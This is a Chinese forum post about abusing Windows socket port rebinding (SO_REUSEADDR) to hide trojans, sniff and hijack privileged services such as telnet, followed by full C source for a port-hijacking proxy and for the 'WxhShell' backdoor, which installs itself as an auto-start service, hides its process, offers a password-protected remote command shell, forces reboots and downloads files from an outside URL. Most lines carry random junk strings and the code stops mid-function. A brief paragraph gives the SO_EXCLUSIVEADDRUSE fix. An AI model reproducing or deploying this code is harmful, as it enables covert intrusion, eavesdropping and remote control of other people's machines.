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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4))5l9kc.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {yCE>F\  
Ij{ K\{y  
  saddr.sin_family = AF_INET; tso\bxiU  
t3VZjO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tupAU$h?!  
C&/_mm5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W>'KE:!sp  
K @h9 4Ni6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G^W'mV$xl  
:RG=3T[  
  这意味着什么?意味着可以进行如下的攻击: ']__V[  
G|eJac>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G5T(  
$*S&i(z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nYE' 'g+x  
F5s`AjU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;/R\!E   
M/5+AsT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }J0HEpn4  
@p 2XaqZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MD+e!A#o  
HbZFL*2x3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y8Oz4|  
T$&vk#qr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KfkU_0R+~v  
vo!QJ  
  #include 9 .3?$(  
  #include 6Q~(ibKx  
  #include KGP*G BZr  
  #include    LKsK!X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mrGfu:r  
  int main() >MLP mER  
  { D6vhW:t8?  
  WORD wVersionRequested; w^=uq3X?  
  DWORD ret; M=t;t0  
  WSADATA wsaData; :\cid]y3  
  BOOL val; qbq.r&F&  
  SOCKADDR_IN saddr; >E\U$}WCG  
  SOCKADDR_IN scaddr; "59"HVV  
  int err; Fu\!'\6  
  SOCKET s; OeYZLC(  
  SOCKET sc; d]I3zS IC  
  int caddsize; '&<saqA  
  HANDLE mt; _(J4  
  DWORD tid;   n?S~(4%  
  wVersionRequested = MAKEWORD( 2, 2 ); &j!q9F  
  err = WSAStartup( wVersionRequested, &wsaData ); "Gc\"'^r  
  if ( err != 0 ) { DPBWw[  
  printf("error!WSAStartup failed!\n"); *Q!I^]CR  
  return -1; 3:?QE  
  } z`2Ais@ao  
  saddr.sin_family = AF_INET; yP*oRV%uX  
   )n{9*{Ch  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |h%0)_  
myqQqVW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v:zKn[;o  
  saddr.sin_port = htons(23); mBON>Z [4.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^"GDaMF  
  { ~@%#eg  
  printf("error!socket failed!\n"); 6 vr8rJ-  
  return -1; nPg,(8Tt  
  } Tr$37suF  
  val = TRUE; c1}i|7/XSi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~aL&,0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +T8]R7b9  
  { B"3uuk8  
  printf("error!setsockopt failed!\n"); 0fAo&B  
  return -1; 30<3DA_P  
  } !D~\uW1b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /" 6Gh'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Nf1&UgX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' )~G2Ys  
4O>0gK{w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z,:}H6Mj9  
  { yo]8QO]97  
  ret=GetLastError(); (P|k$S?m  
  printf("error!bind failed!\n"); P:k!dRb9{  
  return -1; j*L-sU  
  } 39oI &D>8  
  listen(s,2); m.&"D> \t  
  while(1) 2bt).gGm  
  { Ox^VU2K;&.  
  caddsize = sizeof(scaddr); _qU;`Q  
  //接受连接请求 ?, oE_H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jUCDf-_ m  
  if(sc!=INVALID_SOCKET) evro]&N{  
  { # |^yWw^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VdE$ig@  
  if(mt==NULL) b.mWB`59  
  { dhmrh5Uf  
  printf("Thread Creat Failed!\n"); \(`,z}Ht _  
  break; k!ac_}&NNv  
  } sUN9E4  
  } XEb+Z7L1  
  CloseHandle(mt); T&u25"QOf  
  } H5/w!y@  
  closesocket(s); `XK#sCC  
  WSACleanup(); my*E7[  
  return 0; , %$Cfu  
  }   YE[{Y(5;q  
  DWORD WINAPI ClientThread(LPVOID lpParam) n{E9p3i  
  { =0_((eXwf  
  SOCKET ss = (SOCKET)lpParam; l( uV@_3  
  SOCKET sc; )@E'yHYO>  
  unsigned char buf[4096]; sV-UY!   
  SOCKADDR_IN saddr; !WNO!S0/j  
  long num; w(UZmZb}  
  DWORD val; oG' 'my#3  
  DWORD ret; =0mXTY1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A"Sp7M[J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &O|qx~(  
  saddr.sin_family = AF_INET; UmOK7SPi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qd@Fb*  
  saddr.sin_port = htons(23); Bt(U,nFB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (/gMtIw  
  { ?X3uPj9if  
  printf("error!socket failed!\n"); (F'?c1  
  return -1; 6;p"xC-  
  } S)W(@R+@4  
  val = 100; cW?~]E'<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x_OZdI  
  { )!g@MHHL  
  ret = GetLastError(); 4]m?8j) 6b  
  return -1; r)Fd3)e   
  } A1/[3Bz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /9(8ML#E  
  { ;-d2~1$  
  ret = GetLastError(); y0\=F  
  return -1; h45RwQ5Z  
  } =`MMB|{6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) != u S  
  { Z8q*XpUH  
  printf("error!socket connect failed!\n"); Jk,}3Cr/  
  closesocket(sc); Hg`2- Nl  
  closesocket(ss); T74."Lo#  
  return -1; L ]QBh\  
  } -14~f)%NQ*  
  while(1) P/ 7aj:h~P  
  { L^{wxOf&6E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {!37w[s~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ctpc]lJ}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -< }#ImTN  
  num = recv(ss,buf,4096,0); jU_#-<'r  
  if(num>0) L; 'C5#GN  
  send(sc,buf,num,0); 1j\wvPLr  
  else if(num==0) =8 01nZJ  
  break; HRW }Yl  
  num = recv(sc,buf,4096,0); @+(a{%~7y  
  if(num>0) :AM_C^j~ D  
  send(ss,buf,num,0); apd"p{  
  else if(num==0) =(W l'iG   
  break; 5gH'CzU?  
  } m"tke'a  
  closesocket(ss); L0>w|LpRc  
  closesocket(sc); ;7bY>zc(w  
  return 0 ; /*hS0xN*  
  } 7,,#f&jP  
~ _W>ND  
@j+X>TD  
========================================================== 'Z`fZ5q  
:?z E@Ct  
下边附上一个代码,,WXhSHELL p5 )+R/  
)ioIn`g^-  
========================================================== TTm  
D0@d}N  
#include "stdafx.h" ]R6Z(^XT,E  
<7yn:  
#include <stdio.h> sZYTpZgW4L  
#include <string.h> Ng+Ge5C9  
#include <windows.h> .p /VRlLU  
#include <winsock2.h> xD4G(]d!  
#include <winsvc.h> | sZu1K  
#include <urlmon.h> g0"KC X  
-KU@0G  
#pragma comment (lib, "Ws2_32.lib") Ps9YP B-  
#pragma comment (lib, "urlmon.lib") %LBT:Aw  
n^$HC=}S  
#define MAX_USER   100 // 最大客户端连接数 ["XS|"DM  
#define BUF_SOCK   200 // sock buffer UCS`09KNJ  
#define KEY_BUFF   255 // 输入 buffer DY!mq91  
f f_| 3G  
#define REBOOT     0   // 重启 -[-Ry6G  
#define SHUTDOWN   1   // 关机 W!4xE  
v m)'C C  
#define DEF_PORT   5000 // 监听端口 H\ONv=}7I  
'w!8`LPu  
#define REG_LEN     16   // 注册表键长度 6Rc%P)6  
#define SVC_LEN     80   // NT服务名长度 Z'|A>4\  
QE%|8UFY  
// 从dll定义API OCYC Dn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ybgAyJ{J<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dd$CN&Ca  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oky9G C.a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0fU^  
X]AbBzy  
// wxhshell配置信息 qr[+^*Ha  
struct WSCFG { DU.[Sp  
  int ws_port;         // 监听端口 4 Q FX  
  char ws_passstr[REG_LEN]; // 口令 %QKRl 5RM-  
  int ws_autoins;       // 安装标记, 1=yes 0=no *r]Mn~3  
  char ws_regname[REG_LEN]; // 注册表键名 Ax"I$6n>  
  char ws_svcname[REG_LEN]; // 服务名 h2#S ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W(&9S[2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PbN"+qM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3+| {O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]z_C7Y"4BR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1[r;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {qkd63 X  
+jpC%o}C  
}; QW1d&Gb.(  
5 ,1q%  
// default Wxhshell configuration @dp1bkU  
struct WSCFG wscfg={DEF_PORT, qvhol  
    "xuhuanlingzhe", &+>)H$5  
    1, 6 &)fZt  
    "Wxhshell", ."\&;:ZNv  
    "Wxhshell", 5Pu F]5  
            "WxhShell Service", )XAD#GYM  
    "Wrsky Windows CmdShell Service", t(F] -[  
    "Please Input Your Password: ", uSi/|  
  1, Je~d/,^WU  
  "http://www.wrsky.com/wxhshell.exe", ~ E|L4E  
  "Wxhshell.exe" yNu%D$6u7  
    }; Z`lCS o;  
7Vxe]s  
// 消息定义模块 {|Pz9a- :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fG\]&LFBU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hV4\#K[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +: oD?h  
char *msg_ws_ext="\n\rExit."; ljo^ 2  
char *msg_ws_end="\n\rQuit."; 2eh j2T  
char *msg_ws_boot="\n\rReboot..."; xr\wOQ*`  
char *msg_ws_poff="\n\rShutdown..."; @YfCS8 eH  
char *msg_ws_down="\n\rSave to "; 4$<-3IP,  
^>fjURR  
char *msg_ws_err="\n\rErr!"; 7,N>u8cTh  
char *msg_ws_ok="\n\rOK!"; C5jR||  
)wwQv2E  
char ExeFile[MAX_PATH]; T c{]w?V  
int nUser = 0; =2=n   
HANDLE handles[MAX_USER]; Q9 * N/2+  
int OsIsNt; 1@Zjv>jy[  
q$=EUB"C  
SERVICE_STATUS       serviceStatus; }uE8o"q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C^x+'. ^N  
ii :h E=  
// 函数声明 "nK(+Z  
int Install(void); #e:*]A'I  
int Uninstall(void); &i~AXNw  
int DownloadFile(char *sURL, SOCKET wsh); : *Nvy={c  
int Boot(int flag); hA81(JWG  
void HideProc(void); ToHCS/J59  
int GetOsVer(void); wGC)gW  
int Wxhshell(SOCKET wsl); "wPFQXU  
void TalkWithClient(void *cs); "jUr[X2J  
int CmdShell(SOCKET sock); K$..#]\TM  
int StartFromService(void); vZns,K#4H\  
int StartWxhshell(LPSTR lpCmdLine); uUczD 8y  
R.EA5X|_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &)p/cOiV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y+#e| x  
7gV"pa  
// 数据结构和表定义 * QF3l0&  
SERVICE_TABLE_ENTRY DispatchTable[] = <k^P>Irb3t  
{ G/Xa`4"_  
{wscfg.ws_svcname, NTServiceMain}, \ l +RX*  
{NULL, NULL} %#Vn?zr|~  
}; i7[CqObzc  
Q\~4J1  
// 自我安装 M_2[Wypw  
int Install(void) e,}]K'!t  
{ >_biiW~x:  
  char svExeFile[MAX_PATH]; QJ ueU%|  
  HKEY key; !t["pr\ ?  
  strcpy(svExeFile,ExeFile); I,r 3.2u  
%&yD^ q_  
// 如果是win9x系统,修改注册表设为自启动 Yp`6305f  
if(!OsIsNt) { w 1E}F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _= _]Yx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Bt`6u.>e,  
  RegCloseKey(key); /AR;O4X+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q($lL~Ls  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JqO#W1h~R|  
  RegCloseKey(key); TIV1?S  
  return 0; PZF>ia}  
    } d{f3R8~Q.  
  } <)zh2UI  
} B(mxW8y  
else { EO,;^RtB  
A`7uw|uO$  
// 如果是NT以上系统,安装为系统服务 'r%`(Z{~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); daaEN(  
if (schSCManager!=0) QY2!.a^q  
{ sa`7_KB  
  SC_HANDLE schService = CreateService $.}fL;BzVz  
  ( l{4=La{?j  
  schSCManager, ^)b*"o  
  wscfg.ws_svcname, !+.|T9P  
  wscfg.ws_svcdisp, w.cQ|_  
  SERVICE_ALL_ACCESS, vL13~q*F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }}?L'Vby  
  SERVICE_AUTO_START, A>$VkGo  
  SERVICE_ERROR_NORMAL, i_4FxC4  
  svExeFile, Etj*3/n|  
  NULL, A^JeB<, 5a  
  NULL, <>f  
  NULL, 2C %{A  
  NULL, RC8{QgaI  
  NULL 2|o6~m<pE  
  ); ,SJB 3if  
  if (schService!=0) g?M\Z";  
  { ^"ywltW>  
  CloseServiceHandle(schService); $.(>Sj1  
  CloseServiceHandle(schSCManager); O@3EJkv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UUv&X+ Y  
  strcat(svExeFile,wscfg.ws_svcname); @3[Z Q F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pCA(>(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r]km1SrS  
  RegCloseKey(key); A5Yfm.Jy  
  return 0; O!sZMGF$p  
    } ]?^m;~MQZ  
  } E/(:\Cm^  
  CloseServiceHandle(schSCManager); KS'? DO  
} 4D[W;4/p  
} Mno4z/4{A  
xrO:Y!C?  
return 1; c\.4I4uy  
} !O)Ruwy  
!$St=!  
// 自我卸载 anA>'63  
int Uninstall(void) -zHJ#  
{ PF@<>NO+W  
  HKEY key; %Md;=,a:6  
Cdiu*#f  
if(!OsIsNt) { 5_M9T 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CIQo2~G  
  RegDeleteValue(key,wscfg.ws_regname); Hw<t>z k  
  RegCloseKey(key); c3!d4mC:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g`gH]W FcG  
  RegDeleteValue(key,wscfg.ws_regname); F%6al,8P  
  RegCloseKey(key); W*-+j*e|_P  
  return 0; _=j0Y=/IF  
  } hti)<#f  
} "VkraB.i  
} I2%{6g@  
else { LKxyj@Eq  
zF(I#|Vo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F)lDK.  
if (schSCManager!=0) rjQV;kX>  
{ hp,bfcM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Eti;(>"@  
  if (schService!=0) G(|ki9^@"9  
  { {DBgW},  
  if(DeleteService(schService)!=0) { 8@Xq ,J  
  CloseServiceHandle(schService); KCDEMs}}zM  
  CloseServiceHandle(schSCManager); ar=uDb;  
  return 0; Kw&J< H  
  } 'wLQ9o%=p|  
  CloseServiceHandle(schService); ^ {-J Y  
  } c5<M=$  
  CloseServiceHandle(schSCManager); g-meJhX%  
} r3/H_Z  
} v l2!2X  
hFZ7{pj  
return 1; UbJ_'>hK6  
} }!(cm;XA"  
0~R0)Q,  
// 从指定url下载文件 >Rjk d>K3  
int DownloadFile(char *sURL, SOCKET wsh) WWc{]R^D  
{ tH2y:o 72  
  HRESULT hr; e[yk'E  
char seps[]= "/"; L=VJl[DL  
char *token; &voyEvX/S  
char *file; wvcG <sj  
char myURL[MAX_PATH]; ; @-7'%(C  
char myFILE[MAX_PATH]; TNUzNA  
GTNN4  
strcpy(myURL,sURL); nv*q N\i'  
  token=strtok(myURL,seps); QW|,_u5j  
  while(token!=NULL) vEvVT]g[V  
  { l^%Ez?-:s  
    file=token; |OUr=b  
  token=strtok(NULL,seps); &$qqF&  
  } QK% {\qu  
OCa74)(  
GetCurrentDirectory(MAX_PATH,myFILE); /^ i7^  
strcat(myFILE, "\\"); ON~SZa  
strcat(myFILE, file); gsqlWfa  
  send(wsh,myFILE,strlen(myFILE),0); 60*2k  
send(wsh,"...",3,0); n87B[R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X.}:gU-  
  if(hr==S_OK) O2us+DhQ  
return 0; lSUEE0V%Q  
else J p!Q2}  
return 1; g599Lc&  
/^G1wz2  
} vp 1IYW  
`!kOyh:X  
// 系统电源模块 CQW#o_\  
int Boot(int flag) <6)Ogv",  
{ &#F>%~<or  
  HANDLE hToken; * h!gjbi  
  TOKEN_PRIVILEGES tkp; {PnvQ?|Z  
S2kFdx*Zf  
  if(OsIsNt) {  T+9#P4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -[|R \'i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nj5Mc>_   
    tkp.PrivilegeCount = 1; d0"Hu^]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %]h5\%@w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !<Ma9%uC{  
if(flag==REBOOT) { 2)Grl;T]s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UIi;&[  
  return 0; Q35$GFj"jD  
} Waj6.PCFm  
else { X&8&NkH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oa?bOm  
  return 0; <xKer<D %  
} 3~ ;LNi  
  } -uIu-a]  
  else { 3'}(:X(  
if(flag==REBOOT) { "9jt2@<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aJ}y|+Cj  
  return 0; k(pI5N}pJZ  
} X+z!?W*a  
else { P hs4]!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &q^\*<B.^  
  return 0; @#hd8_)A.  
} 7IB<0  
} 1N{}G$'Go  
5 >S #ew  
return 1; =&;orP  
} ]B/Gz  
 s!X@ l  
// win9x进程隐藏模块 0?8O9i  
void HideProc(void) <^c?M[ j  
{ SU~t7Ta!G  
P$ZIKkf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !K-lO{Z^  
  if ( hKernel != NULL ) wmAZ {  
  {  $A]2Iw!&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2a|9D \  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); As }:~Jy|  
    FreeLibrary(hKernel); FNL[6.!PV  
  } ?{[ ISk)  
M{cF14cQ  
return; k&wCa<Rs~R  
} Z0uo. H@.N  
%N$,1=0*  
// 获取操作系统版本 b;G3&R]  
int GetOsVer(void) -c|dTZ8D)8  
{ AiKja>Fl<  
  OSVERSIONINFO winfo;   V` 7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hof@,w  
  GetVersionEx(&winfo); meey5}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r6S-G{o  
  return 1; XVr>\T4  
  else QVLv}w`O  
  return 0; z*n  
} ^YG'p?r.s  
(k/[/`3ST  
// 客户端句柄模块 U l8G R  
int Wxhshell(SOCKET wsl) #JMww  
{  kDbDG,O  
  SOCKET wsh; m}ZkNWH  
  struct sockaddr_in client; E[q:65xl  
  DWORD myID; E-gI'qG\(  
{w:*t)@j  
  while(nUser<MAX_USER) U4)x"s[CP  
{ :0@R(ct;>  
  int nSize=sizeof(client); /e5' YVP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cq:<,Ke  
  if(wsh==INVALID_SOCKET) return 1; WzG]9$v &  
omz%:'m`~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j3>0oe!  
if(handles[nUser]==0) KYa}k0tVAp  
  closesocket(wsh); Q+@/.qJ  
else [A~n=m5H  
  nUser++; k{\wjaf)  
  } DwSB(O#X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DEJ0<pnQr  
WV5z~[  
  return 0; 1g_p`(  
} 5&A{IN  
)gF>nNE  
// 关闭 socket h,-2+}  
void CloseIt(SOCKET wsh) 8xf]zM"Q  
{ vge4&H3a&  
closesocket(wsh); 2L!s'^m-  
nUser--; Ao?y2 [sE  
ExitThread(0); bd|ZhRsL  
} ox:m;-Ml?_  
pHKcKqB*13  
// 客户端请求句柄 <[.{aj]QV  
void TalkWithClient(void *cs) 3DjlX*  
{ WxPu{N  
?e=3G4N  
  SOCKET wsh=(SOCKET)cs; P+ ejyl,  
  char pwd[SVC_LEN]; '`s\_Q)hG_  
  char cmd[KEY_BUFF]; ul(pp+%S  
char chr[1]; 7`xeuK  
int i,j; Z4ekBdmCL  
U$,-F**  
  while (nUser < MAX_USER) { m[aBHA^g  
iA.:{^_)09  
if(wscfg.ws_passstr) { om_UQgC@r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h]6m+oPW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j(aok5:e  
  //ZeroMemory(pwd,KEY_BUFF); e^!>W %.7Z  
      i=0; uwI$t[  
  while(i<SVC_LEN) { <Wr n/%tL  
I{nrOb1G(  
  // 设置超时 q,;8Ka )  
  fd_set FdRead; S?Y%}  
  struct timeval TimeOut; ]?p 9)d=%<  
  FD_ZERO(&FdRead); MS5X#B  
  FD_SET(wsh,&FdRead); Yt]Y(  
  TimeOut.tv_sec=8; d.e_\]o<@  
  TimeOut.tv_usec=0; N[=c|frho  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7a0T]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c"*xw8|  
LI}@qLe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ggai?  
  pwd=chr[0]; \]Bwib%h  
  if(chr[0]==0xd || chr[0]==0xa) { DXF>#2E^+  
  pwd=0; My6a.Kl  
  break; .gQYN2#zb  
  } aU\R!Y$/"  
  i++; f]sc[_n]  
    } q"LE6?hs  
:,Zs {\oI3  
  // 如果是非法用户,关闭 socket R6m6bsZ`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }[;{@Zn  
} R1cOUV,y[/  
)L+>^cJI<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $G<!+^T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O[Yc-4  
jjT)3 c:J[  
while(1) { qs$w9I  
5M v<8P~  
  ZeroMemory(cmd,KEY_BUFF); QZwZ4$jkiO  
tkIpeL[d  
      // 自动支持客户端 telnet标准   +b sc3  
  j=0; pQ,|l$^m  
  while(j<KEY_BUFF) { GI5#{-)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R$m?aIN  
  cmd[j]=chr[0]; |S6L[Uo  
  if(chr[0]==0xa || chr[0]==0xd) { Au10]b  
  cmd[j]=0; <D`VFSEJ  
  break; a&z$4!wQB  
  } .;J6)h  
  j++; aN5"[&  
    } oUd R,;h9  
)BeB xo7lv  
  // 下载文件 -|DBO0q  
  if(strstr(cmd,"http://")) { jvQpf d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vi=u}(*  
  if(DownloadFile(cmd,wsh)) u>\u}c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHRRgR`,  
  else Xmny(j)g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d-{1>\-_  
  } s&d!+-\6_  
  else { $y_P14  
2{|mL`$04<  
    switch(cmd[0]) { C2;Hugm4  
  Y3.^a5o  
  // 帮助 Uz_OUTFM  
  case '?': { G,X>f?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2cQG2N2*  
    break; *{!E`),FX  
  } e3.q8r  
  // 安装 M@]@1Q.p  
  case 'i': { /B!Ik:c}  
    if(Install()) ?s5/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .+A2\F.^  
    else d3;Sy`.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -|2k$W  
    break; s 9n_s=w  
    } =3;~7bYO  
  // 卸载 $DeVXW  
  case 'r': { h f{RI4Jc  
    if(Uninstall()) X?aj0# Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &HBC9Bx/(  
    else XK{KFB-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QB5,Vfoux  
    break; @bIZ0tr4  
    } bLSUF`-z  
  // 显示 wxhshell 所在路径 {k uC+~R  
  case 'p': { P$v9  
    char svExeFile[MAX_PATH]; y=&^=Z h[  
    strcpy(svExeFile,"\n\r"); LI9 Uc\  
      strcat(svExeFile,ExeFile); @(CJT-Ak  
        send(wsh,svExeFile,strlen(svExeFile),0); c[+uwO~  
    break; |>/m{L[  
    } M@=VIrX,m  
  // 重启 _/z3QG{Ea^  
  case 'b': { Hrg -5_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 19;Pjo8  
    if(Boot(REBOOT)) ==npFjB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ('6sW/F*ab  
    else { 4 3G2{  
    closesocket(wsh); =X3Rk)2r  
    ExitThread(0); |"+UCAU  
    } 2O(= 2X  
    break; z9 $1jC  
    } G2yQHTbl  
  // 关机 H~; s$!lG  
  case 'd': { }qg.Go  
